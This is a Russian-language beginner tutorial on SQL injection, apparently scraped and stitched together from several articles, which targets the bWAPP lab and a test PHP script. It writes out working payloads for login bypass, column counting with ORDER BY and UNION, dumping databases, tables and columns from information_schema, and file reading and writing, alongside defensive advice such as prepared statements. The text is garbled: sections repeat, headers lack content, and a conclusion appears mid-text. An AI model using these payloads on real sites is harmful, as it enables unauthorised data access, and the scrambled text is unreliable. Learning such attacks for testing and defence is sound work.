SQL injection для начинающих. Часть 1 / Хабр

Что такое sql-инъекция?

SQL-инъекция – это метод (как и другие механизмы веб-атак) для атаки на приложения, управляемые данными. Эта атака может обойти брандмауэр и повлиять на полностью исправленную систему. Атакующий использует преимущество плохо отфильтрованных или неправильно экранированных символов, встроенных в операторы SQL, при разборе переменных данных из пользовательского ввода.

«SQL

С помощью SQL Injection злоумышленник может получить несанкционированный доступ к базе данных и может создавать, читать, обновлять, изменять или удалять данные, хранящиеся в внутренней базе данных. В настоящее время почти все базы данных SQL, такие как Oracle, MySQL, PostgreSQL, MSSQL Server, MS Access, потенциально уязвимы для атак SQL-инъекций.

Что писать в select

Есть некоторые функции и переменные, которые можно писать непосредственно в UNION:


Ввод для получения имени базы данных:

Iron Man' AND 0 UNION SELECT 1,database(),3,4,5,6,7 #

Что же такое sql инъекция?

Говоря простым языком — это атака на базу данных, которая позволит выполнить некоторое действие, которое не планировалось создателем скрипта. Пример из жизни:

Отец, написал в записке маме, чтобы она дала Васе 100 рублей и положил её на стол. Переработав это в шуточный SQL язык, мы получим:ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ ВасеТак-как отец плохо написал записку (Корявый почерк), и оставил её на столе, её увидел брат Васи — Петя.

Петя, будучи хакер, дописал там «ИЛИ Пете» и получился такой запрос:ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе ИЛИ ПетеМама прочитав записку, решила, что Васе она давала деньги вчера и дала 100 рублей Пете. Вот простой пример SQL инъекции из жизни 🙂 Не фильтруя данные (Мама еле разобрала почерк), Петя добился профита.

Вступление

В настоящее время веб-приложения распространены во всем мире. Почти каждая крупная компания или организация имеет веб-присутствие. Максимум этих компаний и организаций используют веб-приложения для предоставления различных услуг пользователям. Некоторые из этих веб-приложений используют контент, управляемый базой данных.

Внутренняя база данных часто содержит конфиденциальную и конфиденциальную информацию, такую как номера безопасности, номер кредитной карты, финансовые данные, медицинские данные. Обычно веб-пользователь предоставляет информацию, такую как имя пользователя и пароль, и веб-приложения получают запрос пользователя и взаимодействуют с внутренней базой данных и возвращают соответствующие данные пользователю.

Почему sql инъекция?

– Определить вводимые параметры. – Определите тип и версию базы данных. – Откройте схему базы данных. – Извлечение данных. – Вставьте, измените или удалите данные. – Отказ в обслуживании авторизованным пользователям путем блокировки или удаления таблиц.

— персональные данные —

Идентификатор пользователя: scott123

Пароль: [электронная почта защищена]

Имя: Скотт Фамилия: Рай

Пол: M Дата рождения: 1990-05-15

Страна: США Рейтинг пользователей: 100

Идентификатор электронной почты : [электронная почта защищена]

——————————————–

ID пользователя: ferp6734

Пароль: [электронная почта защищена] & 3

Имя: Палаш Фамилия: Гош

Пол: M Дата рождения: 1987-07-05

Страна: ИНДИЯ Рейтинг пользователей: 75

Идентификатор электронной почты : [электронная почта защищена]

——————————————–

ID пользователя: diana094

Пароль: [электронная почта защищена]

Имя: Диана Фамилия: Лоренц

Пол: F Дата рождения: 1988-09-22

Страна: Германия Рейтинг пользователей: 88

Идентификатор электронной почты : [электронная почта защищена]

——————————————–

Group by

Зачастую бывает, что полей может быть 20 или 40 или даже 60. Чтобы нам каждый раз не перебирать их, используем

GROUP BY

Если запрос sqlinj/index1.php?id=1 GROUP BY 2не выдал ошибок, значит кол-во полей больше 2. Пробуем:

sqlinj/index1.php?id=1 GROUP BY 8Оп, видим ошибку, значит кол-во полей меньше 8.

Если при GROUP BY 4 нет ошибки, а при GROUP BY 6 — ошибка, Значит кол-во полей равно 5

Sql инъекции

SQl-инъекция — это такая техника, когда злоумышленник вводит команды SQL в input поле на веб-странице. Этим imput`ом может быть что угодно — текстовое поле в форме, параметры _GET и _POST, cookies и т. д. Этот метод был весьма эффективным до появления фреймворков в мире PHP.

Sql-инъекция для новичков

SQL-инъекция – это опасная уязвимость, которая возникает из-за недостаточной фильтрации вводимых пользователем данных, что позволяет модифицировать запросы к базам данных. Результатом эксплуатации SQL-инъекции является получение доступа к данным, к которым в обычных условиях у пользователя не было бы доступа.

Обычно SQLi находят в веб-приложениях. Но на самом деле, SQL-инъекции могут быть подвержены любые программы, использующие разные базы данных (не только MySQL/MariaDB).


В качестве примера, рассмотрим приложение, которое обращается к базе данных со следующим запросом:

SELECT `name`, `status`, `books` FROM `members` WHERE name = 'Demo' AND password ='111'

Запрос похож на естественный язык (английский), и его значение довольно просто интерпретировать:

Выбрать (SELECT) поля `name`, `status`, `books` из (FROM) таблицы `members` где (WHERE) значение поля name равно величине Demo (name = ‘Demo’) и (AND) значение поля password равно величине 111 (password =’111′).

Этот запрос вызывает обход таблицы, в результате которого делается сравнение с каждой строкой, и если условие name = ‘Demo’ AND password =’111′ является для какой-либо строки истиной, то она попадает в результаты. В данном случае, результаты будут только если и введённое имя пользователя, и пароль в точности совпадают с теми, которые хранятся в таблице.

При этом значения «Demo» и «111» приложение получает от пользователя – например, в форме входа на сайт.

Предположим, что вместо Demo пользователь ввёл такую строку:

Demo' --

Тогда запрос к базе данных будет иметь вид:

SELECT `name`, `status`, `books` FROM `members` WHERE name = 'Demo' -- ' AND password ='111'

Union query

Цель :

  • Обход аутентификации
  • Извлечь данные

Этот тип атаки может быть выполнен путем вставки запроса UNION в уязвимый параметр, который возвращает набор данных, который представляет собой объединение результата исходного первого запроса и результатов введенного запроса.

Оператор SQL UNION объединяет результаты двух или более запросов и создает набор результатов, который включает извлеченные строки из участвующих запросов в UNION.

Основные правила объединения двух или более запросов с использованием UNION:

1) Количество столбцов и порядок столбцов всех запросов должны быть одинаковыми.

2) Типы данных столбцов для включения таблицы в каждом запросе должны быть одинаковыми или совместимыми.

3) Обычно возвращаемые имена столбцов берутся из первого запроса.

По умолчанию UNION ведет себя как UNION [DISTINCT], то есть устраняет дубликаты строк; однако использование ключевого слова ALL с UNION возвращает все строки, включая дубликаты.

Злоумышленник, пытающийся использовать этот метод, должен хорошо знать схему БД. Давайте попробуем описанный выше метод с двумя таблицами

Альтернативные кодировки

Цель :

В этом случае злоумышленник вводит закодированный текст, чтобы обойти защитные методы кодирования. Злоумышленники организовали альтернативные методы кодирования через свои введенные строки, такие как использование шестнадцатеричного, ASCII, и кодировка символов Unicode. Методы сканирования и обнаружения не полностью эффективны против альтернативного кодирования. Смотрите следующий пример:

База данных information_schema

В списке баз данных MySQL / MariaDB всегда присутствует INFORMATION_SCHEMA. Это служебная БД, которая обеспечивает доступ к метаданным баз данных, информации о сервере MySQL. Проще говоря, она содержит информацию о всех других базах данных, которые поддерживает MySQL / MariaDB сервер. Эта информация включает имена баз данных и таблиц.

Похожее:  Аренда номеров |

Например, следующий запрос выведет имена всех баз данных, присутствующих на сервере:

SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA


Здесь

  • SELECT и FROM – уже знакомые элементы языка запросов к базам данных;
  • SCHEMA_NAME – имя запрашиваемого столбца;
  • INFORMATION_SCHEMA – имя базы данных, к которой делается запрос;
  • SCHEMATA – имя таблицы, в которой ищется запрашиваемый столбец.

Вместо завершения

На этом хочу закончить свою первую часть про «SQL injection для начинающих». Во второй мы рассмотрим более тяжелые примеры инъекций. Пробуйте сами писать уязвимые скрипты и выполнять запросы.

И запомните, не доверяйте ни одному пользователю Вашего сайта.

Запись файлов


На самом деле всё очень просто. Для записи файла, мы будем использовать функцию

OUTFILE

Запросы с поддержкой piggy / инъекция операторов

Цель :

  • Извлечь данные
  • Изменить набор данных
  • Выполнять удаленные команды
  • Отказ в обслуживании

Этот тип атаки отличается от других тем, что хакер вводит дополнительные запросы в исходный запрос, в результате база данных получает несколько запросов SQL. Первый запрос действителен и выполняется нормально, последующие запросы являются внедренными запросами, которые выполняются в дополнение к первому.

Из-за неправильной конфигурации система уязвима к запросам с поддержкой и допускает несколько операторов в одном запросе. Пусть злоумышленник вводит abcd как usrerid и ‘; удалить таблицу xyz – в качестве пароля в форме входа:

«Piggy спинками

Затем приложение сгенерирует следующий запрос:

Защита

Как же защитить приложение? Есть куча способов, применение которых не сделает приложение совсем неуязвимым, но хотя бы повысит его защищенность.

Защита от sql инъекций (sql внедрений)

Защита от взлома сводится к базовому правилу «доверяй, но проверяй». Проверять нужно всё – числа, строки, даты, данные в специальных форматах.

Защита от sql-инъекций

Исследователи и менеджеры по безопасности предложили различные защитные методы для борьбы с SQL-инъекцией. Основной причиной почти каждого внедрения SQL является неверная проверка ввода. Вот список методов профилактики:

  • Проверка ввода
  • Функции проверки ввода
  • Проверьте источники ввода
  • Права доступа
  • Настройка отчетов об ошибках базы данных

Извлечение данных из таблицы с помощью sql-инъекции


Теперь, когда мы знаем имя базы данных, имя таблицы и имя поля, мы можем извлечь данные из произвольной колонки. Например, ввод:

Использование mysql_real_escape_string

Функция addslashes() ненадежна, так как не предусматривает многие случаи взлома. У mysql_real_escape_string нет таких проблем

Использование mysqli

Это расширение для MySQL умеет работать со связанными параметрами:

$stmt = $db->prepare('update uets set parameter = ? where id = ?');
$stmt->bind_param('si', $name, $id);
$stmt->execute();

Использование orm

Используйте ORM и PDO и связывайте (используйте bind) параметры. Избегайте SQL в коде, если вы видите в коде SQL, значит, с ним что-то не так.

ORM позаботится о безопасности в самых узких местах в коде и о валидации параметров.

Использование pdo

Длинный способ подстановки параметров:

Как вычислить уязвимость, позволяющую внедрять sql инъекции?

Довольно легко. Например, есть тестовый сайт

Магические кавычки

Магические кавычки – эффект автоматической замены кавычки на обратный слэш () и кавычку при операциях ввода/вывода. В некоторых конфигурациях PHP этот параметр включён, а в некоторых нет. Для того, что бы избежать двойного экранизирования символов и заэкранизировать данные по-нормальному через mysql_real_escape_string($str);, необходимо убрать автоматические проставленные обратные слеши (если магические кавычки включены).

Проверка включённости магических кавычек для данных получаемых из GET, POST или Куков организуется через функцию get_magic_quotes_gpc(); (возвращает 1 – если магические кавычки включены, 0 – если отключены).

Если магические кавычки вкючены (т.е обратные слеши добавляеются) и такое встречается чаще, то их нужно убрать. Это делается через функцию stripslashes($str); (возвращает строку $str без обратных слешей у кавычек и прямых апострофов).

В закючении привожу код с полной экранизацией строк для записи в БД

if(get_magic_quotes_gpc()==1){$element_title=stripslashes(trim($_POST[“element_title”]));$element_text=stripslashes(trim($_POST[“element_text”]));$element_date=stripslashes(trim($_POST[“element_date”]));}else{$element_title=trim($_POST[“element_title”]);$element_text=trim($_POST[“element_text”]);$element_date=trim($_POST[“element_date”]);}

$element_title=mysql_real_escape_string($element_title);$element_text=mysql_real_escape_string($element_text);$element_date=mysql_real_escape_string($element_date);

Статья была подготовлена на основе практических навыков по защите веб-систем. Теория дело хорошее, но практика важнее и главное она работает.

Метод sql-инъекции

Вот несколько методов, с помощью которых операторы SQL внедряются в уязвимые системы. – Вводится через пользовательский ввод. – Инъекция через поля cookie содержит строки атаки. – Инъекция через переменные сервера. – Внедрение второго порядка, где скрытые операторы должны выполняться в другое время другой функцией.

Настройка отчетов об ошибках базы данных

– Отчеты об ошибках некоторых серверов приложений по умолчанию часто выдают информацию, ценную для злоумышленников (имя таблицы, имя поля и т. Д.). – Разработчик должен правильно настроить систему, поэтому эта информация никогда не будет предоставлена неавторизованному пользователю.

Помимо вышесказанного, есть несколько методов, которые могут предотвратить внедрение SQL.

Нелегальные / логически некорректные запросы

Цель :

  • Определите вводимые параметры
  • Определить базу данных
  • Извлечь данные

В этом типе внедрения злоумышленник пытается собрать информацию о типе и структуре внутренней базы данных веб-приложения. Атака считается предварительным шагом для дальнейших атак. Если в базу данных отправляется неправильный запрос, некоторые серверы приложений возвращают сообщение об ошибке по умолчанию, и злоумышленник воспользуется этим недостатком.

Они внедряют код в уязвимые или вводимые параметры, что создает синтаксис, преобразование типов или логическую ошибку. Посредством ошибки типа можно определить типы данных определенных столбцов. Логическая ошибка часто выставляет имена таблиц и столбцов.

Немного теории

Наверно Вам уже не терпится извлечь что-то из этого, кроме ошибок. Для начала усвойте, что знак “–” считается комментарием в языке SQL.

ВНИМАНИЕ! Перед и после него обязательно должны стоять пробелы. В URL они передаются как

Объединение запросов с union select

UNION позволяет объединять результаты в один от нескольких выражений SELECT.

Конструируем наш запрос с UNION:

Iron Man' AND 0 UNION SELECT 1,2,3,4,5,6,7 #

Как я сказал, количество полей должно быть в обоих SELECT одинаковое, а вот что в этих полях — не очень важно. Можно, например, прописать просто цифры — и именно они и будут выведены. Можно прописать NULL – тогда вместо поля ничего не будет выведено.


Обратите внимание, что содержимое некоторых полей UNION SELECT 2,3,4,5 выводится на экран. Вместо цифр можно задать функции.

Определение количества столбцов таблицы с помощью order by

Для создания более сложных команд инъекции нужно знать, сколько в таблице столбцов.

ORDER BY задаёт сортировку полученных из таблицы данных. Можно задавать сортировку по имени столбца, а можно по его номеру. Причём, если столбца с таким номером нет, то будет показана ошибка.

Последовательно пробуем следующие строки (AND 0 используется для подавления лишнего вывода):

Iron Man' AND 0 ORDER BY 1 #
Iron Man' AND 0 ORDER BY 2 #
Iron Man' AND 0 ORDER BY 3 #
………………………
………………………
………………………
Iron Man' AND 0 ORDER BY 7 #


Для

Iron Man' AND 0 ORDER BY 8 #

получен следующий результат:

Похожее:  api - How do I use basic HTTP authentication with the python Requests library? - Stack Overflow

Error: Unknown column '8' in 'order clause'

Это означает, что восьмой столбец отсутствует в таблице, т.е. в таблице всего семь столбцов.

Другой способ нахождения количества столбцов – с помощью того же UNION. Лесенкой прибавляем количество столбцов:

Iron Man' AND 0 UNION SELECT 1 #
Iron Man' AND 0 UNION SELECT 1,2 #
………………………
………………………
………………………
Iron Man' AND 0 UNION SELECT 1,2,3,4,5,6,7 #


Все они будут вызывать одну и туже ошибку:

Ошибка: The used SELECT statements have a different number of columns

Делайте так пока не исчезнет сообщение об ошибке.

Подбираем количество полей

Подбор полей делается очень просто, достаточно посылать такие запросы:sqlinj/index1.php?id=1 UNION SELECT 1,2Ошибка…sqlinj/index1.php?id=1 UNION SELECT 1,2,3Опять ошибка!sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5Ошибки нет! Значит количество столбцов равно 5.

Подготовка


Для практики, Вам понадобится

Поиск sql injection

Как Вы уже поняли, инъекция появляется из входящих данных, которые не фильтруются. Самая распространенная ошибка — это не фильтрация передаваемого ID. Ну грубо говоря подставлять во все поля кавычки. Будь это GET/POST запрос и даже Cookie!

Получение списка всех баз данных на сервере через sql-инъекцию

Iron Man' AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA #

Иногда скрипт веб-приложения, подверженный SQL-инъекции, выводит только по одной записи. В нашем примере это не так, но если бы, например, ввод

Iron Man' AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA #

выводил только по одной записи, то для того, чтобы посмотреть все таблицы, можно было бы использовать LIMIT. Например, для первой строки:

Iron Man' AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1 #


Для второй строки:

Iron Man' AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1 #

Для третьей строки:

Iron Man' AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 2,1 #

Для четвёртой строки:

Iron Man' AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 3,1 #

и т.д.


Можно задействовать более сложный синтаксис с использованием WHERE и функций. Например, следующий ввод приведёт к показу имён таблиц текущей базы данных:

Iron Man' AND 0 UNION SELECT 1,TABLE_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() #

Получив имена таблиц баз данных, можно продолжить далее и получить имена столбцов:

Желаемый запрос:

SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='tablenamehere'


Где вместо tablenamehere нужно подставлять имя таблицы.

Например, нами получены следующий имена присутствующих в базе данных таблиц:

Тогда для получения имён столбцов в таблице blog нужно сформировать запрос

SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='blog'

Применительно к нашей уязвимости получаем ввод:

Iron Man' AND 0 UNION SELECT 1,COLUMN_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=database() AND TABLE_NAME='blog' #


Здесь также можно применять LIMIT.

Права доступа / права пользователя

– Создание учетных записей с низким уровнем привилегий для использования приложениями. – Никогда не предоставляйте привилегии уровня экземпляра учетным записям базы данных. – Никогда не предоставляйте права владельца базы данных или схемы владельцам учетных записей базы данных. – Будьте в курсе схемы разрешений вашей базы данных.

Практика. варианты взлома сайта с уязвимостью на sql внедрения

Итак, у нас есть уже упоминавшийся сайт

Практический пример простой sql-инъекции


Для тренировки я буду использовать bWAPP (по ссылке описание и процесс установки).

Выбираем баг «SQL Injection (GET/Search)»/

От нас ожидается ввод названия фильма, введём в поиск «Iron Man»:


Далее выполним ряд тестов.

Вводим

Iron Man'

Результат

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1


Это говорит о том, что одинарные кавычки не фильтруются и что для обрамления введённых строк не используются двойные кавычки.

Вводим

Iron Man"

Результат


Т.е. ничего не найдено, это говорит о том, что двойные кавычки также не фильтруются (иначе был бы найден фильм по запросу Iron Man). Также это говорит о том, что для обрамления введённых строк используются одинарные кавычки.

Исходя из полученной информации, формируем строку для вывода всех записей таблицы:

Iron Man' OR 1 #

Результат:

Предисловие


Для того, чтобы понять данную статью, вам не особо понадобится знания SQL-языка, а хотя бы наличие хорошего терпения и немного мозгов — для запоминания.

Я считаю, что одного прочтения статьи будет мало, т.к. нам нужны живые примеры — как известно практика, в процессе запоминания, не бывает лишней. Поэтому мы будем писать уязвимые скрипты и тренироваться на них.

Пример атаки sql-инъекцией:

Давайте посмотрим на код ( action.php ) приведенного выше примера:

Проверка ввода

– Простая проверка ввода может предотвратить множество атак. – Всегда проверяйте пользовательский ввод, проверяя тип, размер, длину, формат и диапазон. – Проверить содержимое строковых переменных и принять только ожидаемые значения. – Отклонить записи, содержащие двоичные данные, escape-последовательности и т. Д.

Проверьте источники ввода

– Существует очень много способов атаковать базу данных, поэтому разработчик должен проверять и аутентифицировать все входные источники и запрещать неопознанным или ненадежным пользователям / веб-сайтам.

Разбор примера изнутри


За получение детального описания новости отвечает блок кода:

$detail_id=$_GET['detail'];
$zapros="SELECT * FROM `$table_news` WHERE `public`='1' AND `id`=$detail_id ORDER BY `position` DESC";

Мало того, что $detail_id получает значение без какой либо обработки, так ещё и конструкция `id`=$detail_id написана криво, лучше придерживаться `id`=’$detail_id’ (т.е сравниваемое значение писать в прямых апострофах).

Создайте и запустите простую форму входа:

Вот простая форма входа (form.html ), которая может аутентифицировать идентификатор пользователя и пароль.

«обеспечить

form.html

Способы защиты

Защититься еще проще, чем использовать уязвимость. Просто фильтруйте данные. Если Вы передаёте числа, используйте

$id = (int) $_GET['id'];

Как подсказал пользователь

. Защищаться использованием PDO или prepared statements.

Строки

Большинство взломов через SQL происходят по причине нахождения в строках «необезвреженных» кавычек, апострофов и других специальных символов. Для такого обезвреживания нужно использовать функцию addslashes($str);, которая возвращает строку $str с добавленным обратным слешем () перед каждым специальным символом. Данный процесс называется экранизацией.

Строковой входящий параметр

Запросы будем посылать на index2.php. В данном файле, запрос имеет вид:

Типы sql-инъекций

– Тавтологический SQL-инъекция

– Запросы с поддержкой со стороны

– Union Query

– Нелегальные / логически некорректные запросы

– вывод

– хранимая процедура впрыска

Уязвимости

В компьютерной безопасности уязвимость – это слабость, которая позволяет злоумышленнику снизить уровень информационной безопасности системы. Веб-формы предоставляют некоторый доступ к внутренней базе данных, чтобы разрешить ввод данных и ответ, этот вид атаки обходит межсетевые экраны и защиту конечных точек.

«уязвимость

Распространенной причиной того, что приложение уязвимо для внедрения SQL-кода, является неправильная фильтрация и отсутствие проверки для ввода данных пользователем. Формы ввода довольно распространены для сбора данных от пользователя. Таким образом, практически невозможно закрыть все точки входа для внедрения SQL-кода. Чтобы предотвратить атаки, разработчики должны применять правильную фильтрацию / проверку всех форм.

Похожее:  Почему я на могу зайти в игру? :: RIFT General Discussions

Уязвимые приложения

– Почти все базы данных SQL потенциально уязвимы, такие как MS SQL Server, DB2, Oracle, PostgreSQL, MySQL, MS Access, Sybase, Informix и т. Д. – Доступ через приложения с использованием: ASP, JSP, PHP Perl и CGI скрипты, которые обращаются к базам данных XML, XSL и XSQL JavaScript База данных конкретных веб-приложений Много других

Функции проверки ввода

– определенные символы и последовательности символов, такие как; , -, select, insert и xp_ могут быть использованы для атаки SQL-инъекцией. – Удалите эти символы и последовательности символов из пользовательского ввода, что уменьшает вероятность инъекционной атаки.

– Сканирование строки запроса на наличие нежелательных слов, таких как «вставить», «обновить», «удалить», «удалить» и т. Д., Проверить, представляет ли оно оператор или допустимый ввод пользователя. – Напишите функцию, которая может справиться со всем этим.

Список символов, которые используются для атаки SQL-инъекцией:

Хранимые процедуры

Цель :

  • Повышение привилегий
  • Отказ в обслуживании
  • Выполнять удаленные команды

Хранимая процедура – это подпрограмма, доступная приложениям, которые обращаются к системе реляционных баз данных. Хранимая процедура фактически сохраняется в словаре данных базы данных. Типичное использование хранимых процедур включает механизмы проверки данных или контроля доступа.

Кроме того, хранимые процедуры могут консолидировать и централизовать логику, которая изначально была реализована в приложениях. Обширная или сложная обработка, требующая выполнения нескольких операторов SQL, перемещается в хранимые процедуры, и все приложения вызывают эти процедуры.

Можно использовать вложенные хранимые процедуры, выполняя одну хранимую процедуру из другой. Хранимые процедуры типа SQL-инъекции пытаются выполнить хранимые процедуры, присутствующие в базе данных. Большая часть базы данных имеет стандартный набор процедур (помимо пользовательских процедур), которые расширяют функциональные возможности базы данных и позволяют взаимодействовать с операционной системой.

Сначала злоумышленник пытается найти тип базы данных с помощью другого метода внедрения, такого как недопустимые / логически некорректные запросы. Как только злоумышленник определит, какие базы данных используются в бэкэнде, он попытается выполнить различные процедуры с помощью внедренного кода.

Поскольку хранимая процедура написана разработчиками, эти процедуры не делают базу данных уязвимой для атак с использованием SQL-инъекций. Хранимые процедуры могут быть уязвимы для выполнения удаленных команд, повышения привилегий, переполнения буфера и даже обеспечения административного доступа к операционной системе.

Числа

Для проверки переменной на числовое значение используется функция is_numeric(n);, которая вернёт true, если параметр n — число, и false в противном случае.

Так же можно не проверять значение на число, а вручную переопределить тип. Вот пример, переопределяющий значение $id, полученное от $_GET[‘id_news’] в значение целочисленного типа (в целое число):

$id=(int)$_GET['id_news'];

Числовой входящий параметр

Для практики нам понадобится скрипт

index1.php

. Как я уже говорил выше, подставляем кавычки в ID новости.

sqlinj/index1.php?id=1

Т.к. у нас запрос не имеет фильтрации:

$id = $_GET['id'];
$query = "SELECT * FROM news WHERE id=$id";

Скрипт поймет это как

SELECT * FROM news WHERE id=1

И выдаст нам ошибку:Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:WebServdomainssqlinjindex1.php on line 16

Если ошибку не выдало — могут быть следующие причины:

1.SQL инъекции здесь нет — Фильтруются кавычки, или просто стоит преобразование в (int)2.Отключен вывод ошибок.

Если все же ошибку вывело — Ура! Мы нашли первый вид SQL инъекции — Числовой входящий параметр.

Чтение файлов

Чтение файлов производится еще легче, чем запись. Достаточно просто использовать функцию

LOAD_FILE

, за место того поля, которое мы выбираем:

Чтение/запись файлов


Для чтения и записи файлов, у пользователя БД должны быть права FILE_PRIV.

Экранирование символов в строке

Когда я был новичком в программировании, мне было тяжело работать с кодировками. Я не понимал, в чем между ними различие, зачем использовать UTF-8, когда нужно UTF-16, почему база данных постоянно устанавливает кодировку в latin1. Когда я наконец начал всё это понимать, то обнаружил, что проблем станет меньше, если хранить всё в одном стандарте кодирования.

Проблем, описанных в большинстве предыдущих примеров, можно избежать, используя одинарные кавычки в запросах. Если вы используете addslashes(), атаки через SQL-инъекции, построенные на использовании одинарных кавычек, экранируемых обратным слэшем, потерпят неудачу.

Но такая атака может пройти, если просто подставить символ с кодом 0xbf27 , addslashes()преобразует его в символ с кодом 0xbf5c27 – а это вполне валидный символ одинарной кавычки. Другими словами, `뼧` пройдет через addslashes(), а потом маппинг MySQL конвертирует его в два символа 0xbf (¿) и 0x27 (‘).

Эксплуатации sql-инъекции


Каждый раз с любым приложением, где бы не эксплуатировалась SQL-инъекция, используются следующие три базовых правила внедрения:

  • Балансировка
  • Внедрение
  • Комментирование

Балансировка заключается в том, что количество открывающих и закрывающих кавычек и скобок должно быть одинаковым, чтобы не вызвать ошибку синтаксиса. При исследовании ошибки нужно определить, используются, и если используются, то какие кавычки и скобки.

Внедрение заключается в дополнении запроса в зависимости от информации, которую мы хотим получить.

Комментирование позволяет отсечь заключительную часть запроса, чтобы она не нарушала синтаксис.

Вывод

Цель :

  • Определите вводимые параметры
  • Определить схему
  • Извлечь данные

В этом типе внедрения атака применяется к хорошо защищенным базам данных, которые не возвращают никаких полезных отзывов или описательных сообщений об ошибках. Атака обычно создается в стиле истинного ложного утверждения. Найдя уязвимый параметр, злоумышленник вводит различные условия (которые он хочет узнать, являются ли они истинными или ложными) посредством запроса и тщательно наблюдает за ситуацией.

Если оператор оценивается как true, страница продолжает нормально функционировать. Если false, страница ведет себя значительно отличается от нормально функционирующего. Этот тип инъекции называется слепой инъекцией. Существует еще один тип атаки логического вывода, который называется Time Attack.

Заключение по первой части

В первой части были рассмотрены азы SQL-инъекции. В последующих частях будут рассмотрены различные виды SQLi и примеры эксплуатации в различных условиях. Если у вас возникли затруднения с пониманием этого материала, то рекомендуется начать с изучением языка запросов к базе данных. Если вопросы остались, то пишите их в комментариях.

Связанные статьи:

Определение выводимых столбцов

Для того, чтобы с первого запроса нам ничего не выводилось, достаточно подставить несуществующий ID, например:

sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

image
Этим действием, мы определили, какие столбцы выводятся на страницу. теперь, чтобы заменить эти цифры на нужную информацию, нужно продолжить запрос.

Выводы

Цель этой серии не предоставить полное руководство по взлому сайтов, а обеспечить безопасность приложения и предотвращение атак из любого источника. Я постарался написать эту статью не только для программистов — они должны быть в курсе любых угроз в коде и знать пути, как предотвратить их, но также и для инженеров по качеству — потому, что их работа заключается в том, чтобы отследить и сообщить такие моменты.

1 Звезда2 Звезды3 Звезды4 Звезды5 Звезд (1 оценок, среднее: 4,00 из 5)
Загрузка...

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Adblock
detector